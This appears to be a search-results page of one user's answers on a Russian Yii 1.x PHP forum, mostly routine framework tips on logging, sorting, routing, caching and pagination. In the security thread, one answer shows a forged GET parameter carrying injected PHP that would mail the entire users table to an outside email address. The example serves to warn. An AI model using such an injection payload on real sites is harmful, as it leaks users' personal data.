Найден 5791 результат
- 2013.07.12, 18:19
- Форум: Общие вопросы (Yii 1.x)
- Тема: Разделение логов по коду ошибки
- Ответы: 2
- Просмотры: 1183
Re: Разделение логов по коду ошибки
Переопределить CFileLogRoute::processLogs() и поставить там switch.
- 2013.07.11, 11:13
- Форум: Общие вопросы (Yii 1.x)
- Тема: CSort как применить для CActiveDataProvider
- Ответы: 4
- Просмотры: 1457
Re: CSort как применить для CActiveDataProvider
Ничего не надо создавать. Можно передать параметры прямо в провайдер: $dataProvider = new CActiveDataProvider('News', array( 'criteria'=>$criteria, 'sort'=>array( 'defaultOrder'=>'date DESC', 'attributes'=>array( 'date', 'title', 'category_...
- 2013.07.09, 18:21
- Форум: Общие вопросы (Yii 1.x)
- Тема: [РЕШЕНО] 404
- Ответы: 30
- Просмотры: 7554
Re: 404
А в экшене тоже u?
Код: Выделить всё
public function actionCreate($u) {
- 2013.07.09, 11:18
- Форум: Общие вопросы (Yii 1.x)
- Тема: CMenu
- Ответы: 5
- Просмотры: 1530
Re: CMenu + CSS
Возможностями Yii построить дерево парой строк - никак. Либо как написано, либо чужими расширениями вроде этого . Но связь parent создать придётся: public function relations() { return array( 'parent' => array(self::BELONGS_TO, 'Menu', 'pid'), } } Для более серьёзных вещей можно пере...
- 2013.07.08, 10:29
- Форум: Общие вопросы (Yii 1.x)
- Тема: md5 шифрование
- Ответы: 24
- Просмотры: 8872
- 2013.07.07, 18:04
- Форум: Общие вопросы (Yii 1.x)
- Тема: объединить неизвестное количество массивов
- Ответы: 5
- Просмотры: 930
Re: объединить неизвестное количество массивов
Код: Выделить всё
$tags = array();
foreach ($words as $word) {
...
$tags = array_merge($tags, News::model()->findAll($criteria));
}
- 2013.07.05, 21:04
- Форум: Общие вопросы (Yii 1.x)
- Тема: CHtml::image - не выводит картинку
- Ответы: 10
- Просмотры: 2822
Re: CHtml::image - не выводит картинку
Штанга. Попробуй ещё.Angus123 писал(а):Ошибка осталась та-же.
- 2013.07.05, 16:04
- Форум: Общие вопросы (Yii 1.x)
- Тема: CActiveDataProvider экранирует все в кавычки
- Ответы: 8
- Просмотры: 2143
Re: CActiveDataProvider экранирует все в кавычки
Используйте type=>'raw' для ячейки CGridView.
- 2013.07.05, 15:01
- Форум: Общие вопросы (Yii 1.x)
- Тема: модуль видеохостинга
- Ответы: 1
- Просмотры: 750
Re: модуль видеохостинга
Здесь без разницы, на каком фреймворке. От обычного сайта проект будет отличаться только наличием ffmpeg на сервере и способностью его запускать командами exec(...) или system(...).
- 2013.07.04, 15:40
- Форум: Общие вопросы (Yii 1.x)
- Тема: Почему Yii не видит системные view из модуля ?
- Ответы: 1
- Просмотры: 774
Re: Почему Yii не видит системные view из модуля ?
Ну так файла yii/framework/views/default/error.php и нет.
- 2013.07.04, 15:36
- Форум: Общие вопросы (Yii 1.x)
- Тема: Вызов action одного контролера из функции другого
- Ответы: 5
- Просмотры: 6615
Re: Вызов action одного контролера из функции другого
Код: Выделить всё
public function actionView($id)
{
$this->forward('user/view');
}
- 2013.07.03, 14:59
- Форум: Общие вопросы (Yii 1.x)
- Тема: Вызов метода контроллера из шаблона.
- Ответы: 4
- Просмотры: 1996
Re: Вызов метода контроллера из шаблона.
Перенести статически в модель:
Код: Выделить всё
<?php if ($this->beginCache('hotelView', array('duration'=>$cacheTime))) : ?>
<? echo Meal::getMeals(); ?>
<? $this->endCache(); endif; ?>
- 2013.07.03, 05:43
- Форум: Общие вопросы (Yii 1.x)
- Тема: Хитрый роут
- Ответы: 1
- Просмотры: 624
Re: Хитрый роут
Создайте свой класс-правило.
- 2013.07.02, 15:06
- Форум: Общие вопросы (Yii 1.x)
- Тема: Вопрос по безопасности
- Ответы: 4
- Просмотры: 1463
Re: Вопрос по безопасности
Он может подделать $_GET['nick_name']. Например, на:
Код: Выделить всё
'"admin" && mail("my@ya.ru", "users", print_r(Yii::app()->db->createCommand("SELECT * FROM {{users}}")->queryAll()), true))';
- 2013.07.02, 12:02
- Форум: Общие вопросы (Yii 1.x)
- Тема: update в aftersave
- Ответы: 16
- Просмотры: 3016
Re: update в aftersave
Всё-таки сделайте по аналогии с protected function refreshCategories() { $categories = $this->categoriesArray; PostCategory::model()->deleteAllByAttributes(array('post_id'=>$this->id)); if (is_array($categories)) { foreach ($categories as $id) { if (Category::mode...
- 2013.07.01, 20:59
- Форум: Общие вопросы (Yii 1.x)
- Тема: Обновление свойств модели после сохранения
- Ответы: 9
- Просмотры: 1841
Re: Обновление свойств модели после сохранения
Код: Выделить всё
if (!$this->image_id) {
$this->updateByPk($this->primaryKey, array('image_id' => $image_id));
}
- 2013.06.29, 11:07
- Форум: Общие вопросы (Yii 1.x)
- Тема: Не работает CHtmlPurifier
- Ответы: 7
- Просмотры: 1436
Re: Не работает CHtmlPurifier
А чем strip_tags() не угодил?
Код: Выделить всё
array('author, text', 'filter', 'filter'=>'strip_tags'),
- 2013.06.27, 22:37
- Форум: Общие вопросы (Yii 1.x)
- Тема: Навигация по материалам вперед назад
- Ответы: 5
- Просмотры: 1763
Re: Навигация по материалам вперед назад
В actionCatalog перед render записываем в сессию все параметры каталога: $history = Yii::app()->session['history']; $history = array( 'category' => Yii::app()->request->getQuery('category'), 'brand' => Yii::app()->request->getQuery('brand'), 'sort' => Yii::app()->request->getQuery('sort'...
- 2013.06.27, 15:17
- Форум: Общие вопросы (Yii 1.x)
- Тема: CLinkPager и URL
- Ответы: 15
- Просмотры: 3011
Re: CLinkPager и URL
Ну и в чём проблема дописать?
Код: Выделить всё
$pages->pageSize = 10;
$pages->pageVar = 'p',
- 2013.06.27, 14:40
- Форум: Общие вопросы (Yii 1.x)
- Тема: CLinkPager и URL
- Ответы: 15
- Просмотры: 3011
Re: CLinkPager и URL
Это dataProvider, а не представление.crows писал(а):Не определено свойство "CLinkPager.pageVar".